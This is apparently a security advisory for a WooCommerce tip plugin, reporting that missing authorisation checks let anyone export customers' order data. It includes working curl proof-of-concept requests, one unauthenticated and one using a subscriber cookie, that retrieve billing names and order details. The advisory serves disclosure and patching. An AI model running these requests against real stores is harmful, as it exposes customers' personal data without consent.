WPC Order Tip for WooCommerce < 3.3.1 – Unauthenticated Order Data Disclosure | CVE 2026-18357

Description

The plugin does not perform authorisation or nonce checks in one of its reporting features, allowing unauthenticated attackers to retrieve sensitive order data belonging to any customer of the store, such as billing names, order IDs and statuses, fee amounts and order dates.

Proof of Concept

Prerequisites: WordPress with WooCommerce and WPC Order Tip for WooCommerce 3.3.0 active, and at least one order carrying a fee. No account, cookie or nonce is required for the first vector.

Creating a qualifying order through the storefront: the plugin renders its tip option only through the legacy cart and checkout hooks, so a Blocks-based cart/checkout never shows it. Create pages containing the [woocommerce_cart] and [woocommerce_checkout] shortcodes, set them as the Cart and Checkout pages under WooCommerce > Settings > Advanced > Page setup, enable a payment gateway such as Cash on delivery, configure a tip set under WPClever > Order Tip, and place an order selecting the tip.

Vector 1 - CSV export, fully unauthenticated:

curl -s -i "https://victim.example/wp-admin/admin-ajax.php?action=any_value&a=export&from=2020-01-01&to=2030-01-01&status=all&names=Tip"

=> HTTP 200 with "Content-Disposition: attachment" and a CSV body listing, for every matching order in the store: Order ID, order status, customer billing full name, fee name, fee value and order date. The action parameter only has to be non-empty; it does not need to name a registered action.

Leaving names empty returns every order carrying any fee, not only tipped orders:

curl -s "https://victim.example/wp-admin/admin-ajax.php?action=any_value&a=export&from=2020-01-01&to=2030-01-01&status=all&names="

Vector 2 - report table, any authenticated user including a Subscriber:

curl -s "https://victim.example/wp-admin/admin-ajax.php?action=wpcot_display_reports&from=2020-01-01&to=2030-01-01&status=all&names=Tip" -H "Cookie: wordpress_logged_in_XXXX=<subscriber_session_cookie>"

=> HTTP 200 JSON whose result field holds an HTML table carrying the same fields for every matching order.

Do not attempt the export through a direct wp-admin page load such as admin.php?page=wc-reports&tab=wpcot&a=export - core's own page capability check and WooCommerce's admin-access redirect run first and are unrelated to this issue.